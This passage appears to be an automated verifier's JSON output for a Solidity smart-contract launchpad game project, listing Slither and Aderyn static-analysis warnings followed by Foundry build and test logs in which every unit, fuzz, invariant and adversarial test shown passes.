strict equality:\n[medium/high] incorrect-equality at src/PadGame.sol:169: PadGame._draw(uint256) (src/PadGame.sol#169-221) uses a dangerous strict equality:\n[medium/high] incorrect-equality at src/PadLiquidity.sol:338: PadLiquidity._settleToken(address,uint256) (src/PadLiquidity.sol#338-343) uses a dangerous strict equality:\n[medium/high] incorrect-equality at src/PvPPad.sol:238: PvPPad.genesisFailed() (src/PvPPad.sol#238-241) uses a dangerous strict equality:\n[medium/high] incorrect-equality at src/PadGame.sol:523: PadGame._finalize(address) (src/PadGame.sol#523-580) uses a dangerous strict equality:\n[medium/high] incorrect-equality at src/PadLiquidity.sol:147: PadLiquidity.graduate(uint256,address,uint256,uint256,uint256) (src/PadLiquidity.sol#147-177) uses a dangerous strict equality:\n[medium/high] incorrect-equality at src/PadLiquidity.sol:330: PadLiquidity._settleEth(uint256) (src/PadLiquidity.sol#330-336) uses a dangerous strict equality:\n[medium/high] incorrect-equality at src/PadGame.sol:346: PadGame.bellRang() (src/PadGame.sol#346-348) uses a dangerous strict equality:\n[medium/high] incorrect-equality at src/PadGame.sol:169: PadGame._draw(uint256) (src/PadGame.sol#169-221) uses a dangerous strict equality:\n[medium/medium] reentrancy-no-eth at src/PadLiquidity.sol:183: Reentrancy in PadLiquidity.distribute(uint256) (src/PadLiquidity.sol#183-209):\n[medium/medium] reentrancy-no-eth at src/PvPPad.sol:210: Reentrancy in PvPPad._upkeep(address) (src/PvPPad.sol#210-225):\n[medium/medium] reentrancy-no-eth at src/KingOfThePad.sol:57: Reentrancy in KingOfThePad.takeCrown() (src/KingOfThePad.sol#57-96):\n[medium/medium] reentrancy-no-eth at src/PadLiquidity.sol:147: Reentrancy in PadLiquidity.graduate(uint256,address,uint256,uint256,uint256) (src/PadLiquidity.sol#147-177):\n[medium/medium] reentrancy-no-eth at src/PadLiquidity.sol:233: Reentrancy in PadLiquidity.burnChunk() (src/PadLiquidity.sol#233-246):\n[medium/medium] reentrancy-no-eth at src/PadLiquidity.sol:212: Reentrancy in PadLiquidity.collectPool(uint256) (src/PadLiquidity.sol#212-223):\n[medium/medium] uninitialized-local at src/PadGame.sol:485: PadGame._resolveRoll(uint256).expired (src/PadGame.sol#485) is a local variable never initialized\n[medium/medium] uninitialized-local at src/PvPPad.sol:187: PvPPad.fundGames().sent (src/PvPPad.sol#187) is a local variable never initialized\n[medium/medium] uninitialized-local at src/PadGame.sol:555: PadGame._finalize(address).paid (src/PadGame.sol#555) is a local variable never initialized\n[medium/medium] uninitialized-local at src/PadGame.sol:564: PadGame._finalize(address).sent (src/PadGame.sol#564) is a local variable never initialized\n[medium/medium] uninitialized-local at src/PadGame.sol:549: PadGame._finalize(address).returned (src/PadGame.sol#549) is a local variable never initialized\n[medium/medium] uninitialized-local at src/PadLiquidity.sol:300: PadLiquidity.unlockCallback(bytes).ethFromSale (src/PadLiquidity.sol#300) is a local variable never initialized\n[medium/medium] uninitialized-local at src/PadLiquidity.sol:188: PadLiquidity.distribute(uint256).total (src/PadLiquidity.sol#188) is a local variable never initialized\n[medium/medium] uninitialized-local at src/PvPPad.sol:172: PvPPad.fundGames().count (src/PvPPad.sol#172) is a local variable never initialized\n[medium/medium] uninitialized-local at src/PadGame.sol:530: PadGame._finalize(address).living (src/PadGame.sol#530) is a local variable never initialized\n[medium/medium] uninitialized-local at src/PadGame.sol:484: PadGame._resolveRoll(uint256).d (src/PadGame.sol#484) is a local variable never initialized\n[medium/medium] uninitialized-local at src/PvPPad.sol:173: PvPPad.fundGames().total (src/PvPPad.sol#173) is a local variable never initialized\n[medium/medium] unused-return at src/PadLiquidity.sol:330: PadLiquidity._settleEth(uint256) (src/PadLiquidity.sol#330-336) ignores return value by poolManager.settle{value: amount}() (src/PadLiquidity.sol#335)\n[medium/medium] unused-return at src/PadLiquidity.sol:338: PadLiquidity._settleToken(address,uint256) (src/PadLiquidity.sol#338-343) ignores return value by poolManager.settle() (src/PadLiquidity.sol#342)\n[medium/medium] unused-return at src/PadGame.sol:169: PadGame._draw(uint256) (src/PadGame.sol#169-221) ignores return value by imps.push(Imp(who,0,0,0,0,0,0)) (src/PadGame.sol#210)\n[medium/medium] unused-return at src/PadGame.sol:146: PadGame.enter() (src/PadGame.sol#146-158) ignores return value by entrants.push(msg.sender) (src/PadGame.sol#153)\n[medium/medium] unused-return at src/PadLiquidity.sol:273: PadLiquidity.unlockCallback(bytes) (src/PadLiquidity.sol#273-328) ignores return value by (delta,None) = poolManager.modifyLiquidity(key,ModifyLiquidityParams(MIN_TICK,MAX_TICK,int256(l),0),) (src/PadLiquidity.sol#279-280)\n[medium/medium] unused-return at src/PadLiquidity.sol:273: PadLiquidity.unlockCallback(bytes) (src/PadLiquidity.sol#273-328) ignores return value by (None,fees) = poolManager.modifyLiquidity(key_scope_0,ModifyLiquidityParams(MIN_TICK,MAX_TICK,0,0),) (src/PadLiquidity.sol#292)\n[medium/medium] unused-return at src/PadLiquidity.sol:147: PadLiquidity.graduate(uint256,address,uint256,uint256,uint256) (src/PadLiquidity.sol#147-177) ignores return value by poolManager.initialize(key,sqrtP) (src/PadLiquidity.sol#166)\n[medium/medium] unused-return at src/PadGame.sol:224: PadGame.roll() (src/PadGame.sol#224-259) ignores return value by rolls.push(Roll(uint32(idx - 1),imp.nonce,uint64(ARB.arbBlockNumber()),false,false,0)) (src/PadGame.sol#247)\n[low/medium] missing-zero-check at src/PadGame.sol:134: PadGame.initialize(uint256,address,address,bool).token_ (src/PadGame.sol#134) lacks a zero-check on :\n[low/medium] missing-zero-check at src/PadLiquidity.sol:121: PadLiquidity.deployHook(bytes32).h (src/PadLiquidity.sol#121) lacks a zero-check on :\n[low/medium] missing-zero-check at src/PadHook.sol:14: PadHook.constructor(address,address).liquidity_ (src/PadHook.sol#14) lacks a zero-check on :\n[low/medium] missing-zero-check at src/PadToken.sol:33: PadToken.initialize(string,string,address,address).game_ (src/PadToken.sol#33) lacks a zero-check on :\n[low/medium] missing-zero-check at src/PadGame.sol:134: PadGame.initialize(uint256,address,address,bool).liquidity_ (src/PadGame.sol#134) lacks a zero-check on :\n[low/medium] missing-zero-check at src/PadHook.sol:14: PadHook.constructor(address,address).poolManager_ (src/PadHook.sol#14) lacks a zero-check on :\n[low/medium] missing-zero-check at src/PadToken.sol:33: PadToken.initialize(string,string,address,address).liquidity_ (src/PadToken.sol#33) lacks a zero-check on :\n[low/medium] calls-loop at src/PadGame.sol:477: PadGame._resolveRoll(uint256) (src/PadGame.sol#477-521) has external calls inside a loop: h1 = ARB.arbBlockHash(commit + 1) (src/PadGame.sol#491)\n[low/medium] calls-loop at src/PadGame.sol:477: PadGame._resolveRoll(uint256) (src/PadGame.sol#477-521) has external calls inside a loop: h2 = ARB.arbBlockHash(commit + 2) (src/PadGame.sol#492)\n[low/medium] calls-loop at src/PadGame.sol:477: PadGame._resolveRoll(uint256) (src/PadGame.sol#477-521) has external calls inside a loop: cur = ARB.arbBlockNumber() (src/PadGame.sol#480)\n[low/medium] calls-loop at src/PvPPad.sol:166: PvPPad.fundGames() (src/PvPPad.sol#166-195) has external calls inside a loop: (live,p) = IPadGame(launches[i].game).isLiveForKing() (src/PvPPad.sol#175)\n[low/medium] calls-loop at src/PadGame.sol:477: PadGame._resolveRoll(uint256) (src/PadGame.sol#477-521) has external calls inside a loop: cur = ARB.arbBlockNumber() (src/PadGame.sol#480)\n[low/medium] calls-loop at src/PadGame.sol:477: PadGame._resolveRoll(uint256) (src/PadGame.sol#477-521) has external calls inside a loop: h3 = ARB.arbBlockHash(commit + 3) (src/PadGame.sol#493)\n[low/medium] calls-loop at src/PadGame.sol:477: PadGame._resolveRoll(uint256) (src/PadGame.sol#477-521) has external calls inside a loop: h2 = ARB.arbBlockHash(commit + 2) (src/PadGame.sol#492)\n[low/medium] calls-loop at src/PadGame.sol:477: PadGame._resolveRoll(uint256) (src/PadGame.sol#477-521) has external calls inside a loop: h3 = ARB.arbBlockHash(commit + 3) (src/PadGame.sol#493)\n[low/medium] calls-loop at src/PadGame.sol:477: PadGame._resolveRoll(uint256) (src/PadGame.sol#477-521) has external calls inside a loop: h3 = ARB.arbBlockHash(commit + 3) (src/PadGame.sol#493)\n[low/medium] calls-loop at src/PadGame.sol:477: PadGame._resolveRoll(uint256) (src/PadGame.sol#477-521) has external calls inside a loop: cur = ARB.arbBlockNumber() (src/PadGame.sol#480)\n[low/medium] calls-loop at src/PadGame.sol:477: PadGame._resolveRoll(uint256) (src/PadGame.sol#477-521) has external calls inside a loop: cur = ARB.arbBlockNumber() (src/PadGame.sol#480)\n[low/medium] calls-loop at src/PadGame.sol:477: PadGame._resolveRoll(uint256) (src/PadGame.sol#477-521) has external calls inside a loop: h1 = ARB.arbBlockHash(commit + 1) (src/PadGame.sol#491)\n[low/medium] calls-loop at src/PadGame.sol:477: PadGame._resolveRoll(uint256) (src/PadGame.sol#477-521) has external calls inside a loop: h1 = ARB.arbBlockHash(commit + 1) (src/PadGame.sol#491)\n[low/medium] calls-loop at src/PadGame.sol:477: PadGame._resolveRoll(uint256) (src/PadGame.sol#477-521) has external calls inside a loop: h2 = ARB.arbBlockHash(commit + 2) (src/PadGame.sol#492)\n[low/medium] calls-loop at src/PadGame.sol:477: PadGame._resolveRoll(uint256) (src/PadGame.sol#477-521) has external calls inside a loop: h3 = ARB.arbBlockHash(commit + 3) (src/PadGame.sol#493)\n[low/medium] calls-loop at src/PadLiquidity.sol:183: PadLiquidity.distribute(uint256) (src/PadLiquidity.sol#183-209) has external calls inside a loop: collected = this.collectPool{gas: COLLECT_GAS}(idx) (src/PadLiquidity.sol#192-196)\n[low/medium] calls-loop at src/PadGame.sol:477: PadGame._resolveRoll(uint256) (src/PadGame.sol#477-521) has external calls inside a loop: h2 = ARB.arbBlockHash(commit + 2) (src/PadGame.sol#492)\n[low/medium] calls-loop at src/PadGame.sol:477: PadGame._resolveRoll(uint256) (src/PadGame.sol#477-521) has external calls inside a loop: h1 = ARB.arbBlockHash(commit + 1) (src/PadGame.sol#491)\n[low/medium] calls-loop at src/PvPPad.sol:166: PvPPad.fundGames() (src/PvPPad.sol#166-195) has external calls inside a loop: IPadGame(games[i_scope_0]).fundPot{value: share}() (src/PvPPad.sol#192)\n[low/medium] reentrancy-benign at src/PvPPad.sol:101: Reentrancy in PvPPad.openPad(bytes32) (src/PvPPad.sol#101-112):\n[low/medium] reentrancy-benign at src/PvPPad.sol:135: Reentrancy in PvPPad._create(string,string,string,address,bool) (src/PvPPad.sol#135-153):\n[low/medium] reentrancy-benign at src/PadLiquidity.sol:183: Reentrancy in PadLiquidity.distribute(uint256) (src/PadLiquidity.sol#183-209):\n[low/medium] reentrancy-benign at src/PadLiquidity.sol:147: Reentrancy in PadLiquidity.graduate(uint256,address,uint256,uint256,uint256) (src/PadLiquidity.sol#147-177):\n[low/medium] reentrancy-benign at src/PadLiquidity.sol:147: Reentrancy in PadLiquidity.graduate(uint256,address,uint256,uint256,uint256) (src/PadLiquidity.sol#147-177):\n[low/medium] reentrancy-benign at src/PadGame.sol:224: Reentrancy in PadGame.roll() (src/PadGame.sol#224-259):\n[low/medium] reentrancy-benign at src/PvPPad.sol:101: Reentrancy in PvPPad.openPad(bytes32) (src/PvPPad.sol#101-112):\n[low/medium] reentrancy-benign at src/PadLiquidity.sol:233: Reentrancy in PadLiquidity.burnChunk() (src/PadLiquidity.sol#233-246):\n[low/medium] reentrancy-benign at src/PvPPad.sol:210: Reentrancy in PvPPad._upkeep(address) (src/PvPPad.sol#210-225):\n[low/medium] reentrancy-benign at src/KingOfThePad.sol:57: Reentrancy in KingOfThePad.takeCrown() (src/KingOfThePad.sol#57-96):\n[low/medium] reentrancy-events at src/PvPPad.sol:166: Reentrancy in PvPPad.fundGames() (src/PvPPad.sol#166-195):\n[low/medium] reentrancy-events at src/PadGame.sol:224: Reentrancy in PadGame.roll() (src/PadGame.sol#224-259):\n[low/medium] reentrancy-events at src/PadGame.sol:622: Reentrancy in PadGame._graduate() (src/PadGame.sol#622-636):\n[low/medium] reentrancy-events at src/PadLiquidity.sol:147: Reentrancy in PadLiquidity.graduate(uint256,address,uint256,uint256,uint256) (src/PadLiquidity.sol#147-177):\n[low/medium] reentrancy-events at src/PadGame.sol:622: Reentrancy in PadGame._graduate() (src/PadGame.sol#622-636):\n[low/medium] reentrancy-events at src/PadLiquidity.sol:233: Reentrancy in PadLiquidit","passed":true},{"durationMs":1357,"exitCode":0,"name":"aderyn","output":"[high] abi-encode-packed-hash-collision at src/PadLiquidity.sol:131: `abi.encodePacked()` Hash Collision\n[high] contract-locks-ether at src/PvPPad.sol:9: Contract locks Ether without a withdraw function\n[high] eth-send-unchecked-address at src/KingOfThePad.sol:103: ETH transferred without address checks (3 places)\n[high] incorrect-caret-operator at src/libs/PadLib.sol:51: Incorrect use of caret operator\n[high] msg-value-in-loop at src/PvPPad.sol:188: Loop contains `msg.value`\n[high] reentrancy-state-change at src/KingOfThePad.sol:58: Reentrancy: State change after external call (20 places)\n[low] costly-loop at src/PadGame.sol:195: Costly operations inside loop (4 places)\n[low] large-numeric-literal at src/KingOfThePad.sol:15: Large Numeric Literal (14 places)\n[low] literal-instead-of-constant at src/KingOfThePad.sol:67: Literal Instead of Constant (42 places)\n[low] missing-inheritance at src/KingOfThePad.sol:14: Missing Inheritance (4 places)\n[low] state-change-without-event at src/PvPPad.sol:199: State Change Without Event (2 places)\n[low] state-no-address-check at src/PadGame.sol:138: Address State Variable Set Without Checks (4 places)\n[low] unchecked-return at src/PadGame.sol:293: Unchecked Return (4 places)\n[low] uninitialized-local-variable at src/PadGame.sol:195: Uninitialized Local Variable (5 places)\n[low] unsafe-erc20-operation at src/PadGame.sol:255: Unsafe ERC20 Operation (5 places)\n[low] unused-public-function at src/PadGame.sol:346: Public Function Not Used Internally (3 places)\n[low] unused-state-variable at src/PadLiquidity.sol:70: Unused State Variable","passed":true}],"detail":"all checks passed","evaluation":"checks","profile":"foundry","status":"accepted","submissionHash":"c97c273990c28829c0790c173fd8786c81689c9c7d989a8e66926974030e3a56","verifiedTreeHash":"22c837aead42bef812309ce2b758048f4f476e4c","verifierVersion":"0.1.0+67c588fa"},{"checks":[{"durationMs":123676,"exitCode":0,"name":"build","output":"Compiling 85 files with Solc 0.8.26\nSolc 0.8.26 finished in 123.43s\nCompiler run successful!\n","passed":true},{"durationMs":6058,"exitCode":0,"name":"test","output":"No files changed, compilation skipped\n\nRan 1 test for test/AtomicDeployment.t.sol:AtomicDeploymentTest\n[PASS] test_atomicManifestGasIncludingCalldataAndLaterGenesisFitsTarget() (gas: 27565511)\nLogs:\n  Raw CREATE2 manifest gas including calldata and intrinsic: 11672882\n  Later openPad including hook and genesis gas: 788443\n  Combined manifest and later opening gas: 12461325\n\nSuite result: ok. 1 passed; 0 failed; 0 skipped; finished in 71.43ms (65.77ms CPU time)\n\nRan 21 tests for test/Pad.t.sol:PadTest\n[PASS] test_bindingsAndOwner() (gas: 107176)\n[PASS] test_bindingsAreOneShot() (gas: 87768)\n[PASS] test_carryPotFundsNextLaunch() (gas: 8904037)\n[PASS] test_closedPadRevertsEverything() (gas: 103813)\n[PASS] test_constructorsNeedNoExternalCodeAndMintNothing() (gas: 693233)\n[PASS] test_deployGasUnderBudget() (gas: 19924)\n[PASS] test_deployHookOnlyByPad() (gas: 31043)\n[PASS] test_failedGenesisIsRestartedByLaunchAndThePadRecovers() (gas: 11663473)\n[PASS] test_fundGamesOnlyKing() (gas: 39635)\n[PASS] test_hookRejectsForeignInitialize() (gas: 1124557)\n[PASS] test_launchRevertsUntilGenesisGraduates() (gas: 9041615)\n[PASS] test_launchValidatesStrings() (gas: 8136462)\n[PASS] test_openPadByAnyoneAfter30Days() (gas: 994947)\n[PASS] test_openPadByOwnerDeploysHookWithExactFlag() (gas: 1026322)\n[PASS] test_openPadOnlyOnce() (gas: 1067053)\n[PASS] test_openPadRejectsBadSalt() (gas: 213540)\n[PASS] test_openPadStrangerBefore30DaysReverts() (gas: 280730)\n[PASS] test_restartGenesisRevertsWhileGenesisWaitsOrPlays() (gas: 1374067)\n[PASS] test_runtimeSizesAndNoEscapeOpcodes() (gas: 31293400)\n[PASS] test_templatesCannotBeInitialized() (gas: 1165578)\n[PASS] test_upkeepForOnlyGames() (gas: 1214077)\nSuite result: ok. 21 passed; 0 failed; 0 skipped; finished in 605.07ms (148.14ms CPU time)\n\nRan 14 tests for test/King.t.sol:KingTest\n[PASS] test_burnChunkBuysPvpToDeadEvery10Minutes() (gas: 1016865)\n[PASS] test_burnChunkStopsAtOnePercentPriceMoveAndKeepsTheRest() (gas: 243736)\n[PASS] test_burnWaitsForPvpGraduation() (gas: 8763777)\n[PASS] test_challengeNeedsHoldAnd110Percent() (gas: 991427)\n[PASS] test_distributeSendsPoolFeesToKing() (gas: 910324)\n[PASS] test_distributeWithoutKingEscrows() (gas: 746348)\n[PASS] test_extraFundsLiveGamesByPotSize() (gas: 10191638)\n[PASS] test_firstBidMinimumAndFullSplit() (gas: 542854)\n[PASS] test_launchAfterGenesisPlaysAndGraduatesIntoOwnPool() (gas: 10149863)\n[PASS] test_refundToRejectingKingIsClaimable() (gas: 946105)\n[PASS] test_sandwichOnBurnChunkDoesNotPay() (gas: 1101685)\n[PASS] test_takeCrownUpkeepPaysFinalizerFeeToBidder() (gas: 4137621)\n[PASS] test_unlockCallbackOnlyPoolManager() (gas: 33088)\n[PASS] test_upkeepForAcceptsKingContract() (gas: 268877)\nSuite result: ok. 14 passed; 0 failed; 0 skipped; finished in 605.12ms (45.80ms CPU time)\n\nRan 35 tests for test/Game.t.sol:GameTest\n[PASS] test_bellEndsGame() (gas: 1917010)\n[PASS] test_claimableWinner() (gas: 2413272)\n[PASS] test_conservationOfEth() (gas: 5031975)\n[PASS] test_curveQuoteMatchesConstantProduct() (gas: 42386)\n[PASS] test_deadImpCannotRingTheBell() (gas: 2213343)\n[PASS] test_deadImpCannotRollWhileOthersPlay() (gas: 2296000)\n[PASS] test_deathAndAllDeadEnd() (gas: 1819605)\n[PASS] test_entryOnePerWalletAndSignupWindow() (gas: 1519319)\n[PASS] test_expiredRollMovesTowardZero() (gas: 2334388)\n[PASS] test_failedPushBecomesClaimable() (gas: 1429411)\n[PASS] test_finalizePaysTriangularRanksAndBell() (gas: 4938638)\n[PASS] test_finalizeRanksAndPays() (gas: 4368719)\n[PASS] test_finalizeWaitsForPendingRolls() (gas: 1628427)\n[PASS] test_finalizeWith200LivingImpsStaysUnderFiveMillionGas() (gas: 106809925)\n[PASS] test_finalizerFeeCapped() (gas: 11347501)\n[PASS] test_finalizerFeeNeverExceedsRollPot() (gas: 1675060)\n[PASS] test_firstEntryStartsSignupWithoutSeating() (gas: 325916)\n[PASS] test_fundPotOnlyPad() (gas: 43964)\n[PASS] test_fundedPotReleasedToFiveLivingCappedAtThreeTimesRollPot() (gas: 17863099)\n[PASS] test_fundedPotReturnsToCarryWhenFewerThanFiveLive() (gas: 3310428)\n[PASS] test_graduateOnlyFromGame() (gas: 71124)\n[PASS] test_graduationCreatesPoolUnlocksTokenBurnsExcess() (gas: 7259431)\n[PASS] test_graduationWithoutEthFailsAndBurns() (gas: 1420235)\n[PASS] test_hardEndAt50MinutesAfterPlayStart() (gas: 3892116)\n[PASS] test_nonGenesisBurnShareGoesToBurnBucket() (gas: 9104478)\n[PASS] test_resolveBatchIsEight() (gas: 6759656)\n[PASS] test_rollAfterOwnBellReverts() (gas: 2168694)\n[PASS] test_rollRequiresPlayPhasePriceAndImp() (gas: 1820593)\n[PASS] test_rollResolvesAfterThreeBlocksWithArbHashes() (gas: 1738982)\n[PASS] test_rollResolvesOwnPreviousRoll() (gas: 1654865)\n[PASS] test_rollSplitGenesisBurnShareToPot() (gas: 1380124)\n[PASS] test_soldOutCurveSendsRollToPot() (gas: 1312288)\n[PASS] test_tieBreakFollowsCommitOrderNotResolutionOrder() (gas: 2882256)\n[PASS] test_tokenLockedUntilGraduation() (gas: 1467918)\n[PASS] test_upkeepFinalizesAndGraduatesDueGame() (gas: 2628844)\nSuite result: ok. 35 passed; 0 failed; 0 skipped; finished in 605.16ms (315.04ms CPU time)\n\nRan 9 tests for test/Fuzz.t.sol:FuzzTest\n[PASS] testFuzz_challengeBelow110PercentOrWithinHoldReverts(uint256,uint256,uint256) (runs: 200, μ: 8595992, ~: 8596096)\nLogs:\n  Bound result 18388529315714645403\n  Bound result 1770311666190782377\n  Bound result 3375\n\n[PASS] testFuzz_challengeRefundsOldKingAndSplitsOnlyTheExtra(uint256,uint256) (runs: 200, μ: 8867269, ~: 8867325)\nLogs:\n  Bound result 12399921930435212306\n  Bound result 46393892585148245874\n\n[PASS] testFuzz_finalizePaysTopHalfWithTriangularWeightsAndNothingLeaks(uint8,uint256) (runs: 64, μ: 11853010, ~: 11386683)\nLogs:\n  Bound result 1\n  Bound result 902397712997\n\n[PASS] testFuzz_firstBidSplitsToTheWei(uint256) (runs: 200, μ: 8482293, ~: 8482333)\nLogs:\n  Bound result 3990000000000000000\n\n[PASS] testFuzz_fundedReleaseNeverExceedsThreeTimesRollIncome(uint8,uint256,uint8) (runs: 64, μ: 5645977, ~: 5742343)\nLogs:\n  Bound result 1\n  Bound result 1\n  Bound result 118446943263843349\n\n[PASS] testFuzz_quoteFromAnyCurveStateIsConsistent(uint256,uint256) (runs: 1000, μ: 37166, ~: 37174)\nLogs:\n  Bound result 393528593821441371459641979\n  Bound result 1815196737906823897\n\n[PASS] testFuzz_quoteFromFreshCurveNeverUndercharges(uint256) (runs: 1000, μ: 21365, ~: 20955)\nLogs:\n  Bound result 3935267\n\n[PASS] testFuzz_quoteIsMonotoneInEth(uint256,uint256,uint256) (runs: 500, μ: 37668, ~: 37863)\nLogs:\n  Bound result 796247245874660579182381030\n  Bound result 2622886383225522990\n  Bound result 2718229471666940625\n\n[PASS] testFuzz_rollSplitConservesEveryWei(uint8,bool) (runs: 64, μ: 8876061, ~: 10171339)\nLogs:\n  Bound result 1\n\nSuite result: ok. 9 passed; 0 failed; 0 skipped; finished in 663.54ms (4.73s CPU time)\n\nRan 9 tests for test/LiquidityV4.t.sol:LiquidityV4Test\n[PASS] test_collectPoolRejectsExternalCallers() (gas: 30845)\n[PASS] test_crownPrecollectsOnlyEightOfTenPools() (gas: 10135815)\nLogs:\n  takeCrown gas, ten real pools: 1615161\n\n[PASS] test_failedDistributorCannotBlockCrown() (gas: 8690381)\n[PASS] test_oneFailingPoolCannotBlockBidOrHealthyPoolFees() (gas: 14401126)\n[PASS] test_outgoingKingReceivesFeesBeforeCrownEvent() (gas: 9216075)\n[PASS] test_realBurnIgnoresAnUnrelatedPriorTokenSync() (gas: 8208761)\n[PASS] test_realPoolManagerGraduatesSoldOutAfter2400ActualRolls() (gas: 1873153)\n[PASS] test_realPoolManagerSmallestRaiseGraduatesAndConservesAccounting() (gas: 3535795)\n[PASS] test_realTradingTokenFeesAreSoldForEthAndPaidToKing() (gas: 8891634)\nSuite result: ok. 9 passed; 0 failed; 0 skipped; finished in 1.22s (1.32s CPU time)\n\nRan 6 tests for test/RaffleEdges.t.sol:RaffleEdgesTest\n[PASS] testFuzz_above200ExactlyTwoHundredDistinctSeats(uint16,uint32,uint8) (runs: 24, μ: 82655094, ~: 80879242)\nLogs:\n  Bound result 228\n  Bound result 2\n\n[PASS] test_deathAtExactlyTenMinutesFromPlayStartAndAllDeadEndsTheGame() (gas: 2299340)\n[PASS] test_kingFundsSignupGameByEntriesAndFundedEthReturnsToCarryWhenNobodyRolls() (gas: 11346534)\n[PASS] test_repeatedDrawCallsInOneBlockOnlyAdvanceAfterSeedAndNeverSeatTwice() (gas: 65953459)\n[PASS] test_rollOneSecondBeforeHardEndWorksAndAtHardEndReverts() (gas: 4303112)\n[PASS] test_unselectedEntrantKeepsEntryHasNoSeatAndCannotRollOrReenter() (gas: 49389983)\nSuite result: ok. 6 passed; 0 failed; 0 skipped; finished in 1.57s (1.77s CPU time)\n\nRan 1 test for test/Invariants.t.sol:InvariantTest\n[PASS]\nInvariantTest invariants:\n[PASS] invariant_callSummary\n[PASS] invariant_curveNeverUnderchargesAndNeverOversells\n[PASS] invariant_fundedPotIsPartOfPotAndClearedByFinalize\n[PASS] invariant_gameBalanceEqualsObligations\n[PASS] invariant_genesisGatesLaunchesAndKing\n[PASS] invariant_impsAndRollsBounded\n[PASS] invariant_kingHoldsOnlyClaimables\n[PASS] invariant_liquidityBalanceEqualsObligations\n[PASS] invariant_padHoldsOnlyCarryPot\n[PASS] invariant_systemEthConserved\n[PASS] invariant_tokenSupplyFixedAndFullyAccounted\n[PASS] invariant_tokenUnlockedOnlyBySuccessfulGraduation\n InvariantTest invariants (runs: 40, calls: 2400, reverts: 0)\n\n╭------------+----------------+-------+---------+----------╮\n| Contract   | Selector       | Calls | Reverts | Discards |\n+==========================================================+\n| PadHandler | burnChunk      | 101   | 0       | 0        |\n|------------+----------------+-------+---------+----------|\n| PadHandler | claimGame      | 107   | 0       | 0        |\n|------------+----------------+-------+---------+----------|\n| PadHandler | claimKing      | 109   | 0       | 0        |\n|------------+----------------+-------+---------+----------|\n| PadHandler | claimLiquidity | 91    | 0       | 0        |\n|------------+----------------+-------+---------+----------|\n| PadHandler | creditFees     | 104   | 0       | 0        |\n|------------+----------------+-------+---------+----------|\n| PadHandler | distribute     | 134   | 0       | 0        |\n|------------+----------------+-------+---------+----------|\n| PadHandler | draw           | 88    | 0       | 0        |\n|------------+----------------+-------+---------+----------|\n| PadHandler | enter          | 106   | 0       | 0        |\n|------------+----------------+-------+---------+----------|\n| PadHandler | finalize       | 85    | 0       | 0        |\n|------------+----------------+-------+---------+----------|\n| PadHandler | fundBurn       | 90    | 0       | 0        |\n|------------+----------------+-------+---------+----------|\n| PadHandler | fundCarry      | 105   | 0       | 0        |\n|------------+----------------+-------+---------+----------|\n| PadHandler | fundPot        | 93    | 0       | 0        |\n|------------+----------------+-------+---------+----------|\n| PadHandler | graduate       | 95    | 0       | 0        |\n|------------+----------------+-------+---------+----------|\n| PadHandler | launch         | 96    | 0       | 0        |\n|------------+----------------+-------+---------+----------|\n| PadHandler | padUpkeep      | 105   | 0       | 0        |\n|------------+----------------+-------+---------+----------|\n| PadHandler | poke           | 84    | 0       | 0        |\n|------------+----------------+-------+---------+----------|\n| PadHandler | resolve        | 110   | 0       | 0        |\n|------------+----------------+-------+---------+----------|\n| PadHandler | restartGenesis | 93    | 0       | 0        |\n|------------+----------------+-------+---------+----------|\n| PadHandler | roll           | 215   | 0       | 0        |\n|------------+----------------+-------+---------+----------|\n| PadHandler | takeCrown      | 91    | 0       | 0        |\n|------------+----------------+-------+---------+----------|\n| PadHandler | tokenTransfer  | 106   | 0       | 0        |\n|------------+----------------+-------+---------+----------|\n| PadHandler | warp           | 192   | 0       | 0        |\n╰------------+----------------+-------+---------+----------╯\n\nLogs:\n  Bound result 9\n  Bound result 0\n  Bound result 10000000000\n  Bound result 10000000000\n  Bound result 49\n  Bound result 0\n  Bound result 100\n  Bound result 2995000000000000243\n  Bound result 0\n  Bound result 5000000000000000\n  Bound result 2995000000000013763\n  Bound result 14\n  Bound result 499999999996000001\n  Bound result 13778\n  Bound result 640\n  Bound result 122\n  Bound result 1306165815548362784\n  Bound result 0\n  Bound result 2\n  Bound result 97\n  Bound result 0\n  Bound result 273\n  Bound result 275\n  Bound result 2\n\nSuite result: ok. 1 passed; 0 failed; 0 skipped; finished in 3.29s (3.26s CPU time)\n\nRan 36 tests for test/Adversarial.t.sol:AdversarialTest\n[PASS] test_bellOnlyRingsOnceAndNotForNegativeClampOverflow() (gas: 3233217)\n[PASS] test_bellRingerOutsideTopHalfStillGetsBellShare() (gas: 3934812)\n[PASS] test_claimNothingReverts() (gas: 1177517)\n[PASS] test_constructorsRejectZeroAddresses() (gas: 9679)\n[PASS] test_crownEventAndSameKingMayRebid() (gas: 8808385)\n[PASS] test_curveNeverUnderchargesAlongRealRolls() (gas: 11488653)\n[PASS] test_distributeRoundRobinAcrossPools() (gas: 19270871)\n[PASS] test_expiredRollAtZeroHeightStaysZeroAndNeverRingsBell() (gas: 2501284)\n[PASS] test_failedGenesisKeepsKingAndBurnClosedAndLaunchOnlyRelaunchesPvp() (gas: 3418768)\n[PASS] test_failedGenesisRelaunchTakesTheCarryPotAsFundedEth() (gas: 3096423)\n[PASS] test_finalizeWithTwoHundredLivingImpsWorstCaseOrderFitsInBlock() (gas: 112902736)\nLogs:\n  finalize gas, 200 living imps, worst-case order: 3780025\n\n[PASS] test_fundGamesOnlyLooksAtLastTenLaunches() (gas: 31430842)\n[PASS] test_fundGamesSkipsGamesWithFewerThanFiveImpsAndEndedOnes() (gas: 16199306)\n[PASS] test_fundGamesSplitsEquallyWhenAllPotsEmpty() (gas: 12930776)\n[PASS] test_fundPotRefusedFromStrangersAndAfterFinalize() (gas: 2385986)\n[PASS] test_hashWindowBoundaryAt257And258Blocks() (gas: 3171420)\n[PASS] test_hookRejectsForeignInitializeWithWrongKeyToo() (gas: 1084084)\n[PASS] test_kingConstructorCannotBindTwice() (gas: 9180)\n[PASS] test_lastRollOnCurveUsesOnlyRemainingEthAndRestToPot() (gas: 2408649)\n[PASS] test_launchViewsRejectIdZero() (gas: 33095)\n[PASS] test_liquidityMayMoveLockedTokensAndApprovalsWorkAfterUnlock() (gas: 2631099)\n[PASS] test_mintEventsAndLaunchEvent() (gas: 9476284)\n[PASS] test_mintOnFreshLaunchBeforeItsOwnFirstMintIsStatusZero() (gas: 8970780)\n[PASS] test_noBellAllToRanksAndDustToCarry() (gas: 7768850)\n[PASS] test_openPadAndGenesisNeedBindings() (gas: 78146)\n[PASS] test_openPadAtExactDeadlineByStranger() (gas: 995522)\n[PASS] test_openPadEmitsAndIsFinal() (gas: 1035338)\n[PASS] 